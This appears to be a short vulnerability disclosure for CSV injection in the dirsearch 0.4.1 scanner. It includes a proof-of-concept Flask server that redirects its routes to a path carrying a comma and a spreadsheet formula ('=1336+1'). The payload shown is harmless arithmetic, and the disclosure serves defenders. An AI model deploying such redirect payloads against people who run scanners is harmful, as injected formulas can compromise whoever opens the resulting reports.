47356fd06c423a7a4a4e4fc4ab7e4400# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13
dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.
Malicious Flask Webserver:
"""
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def index():
return redirect('/test,=1336+1')
@app.route('/admin')
def admin():
return redirect('/test,=1336+1')
@app.route('/login')
def login():
return redirect('/test,=1336+1')
"""
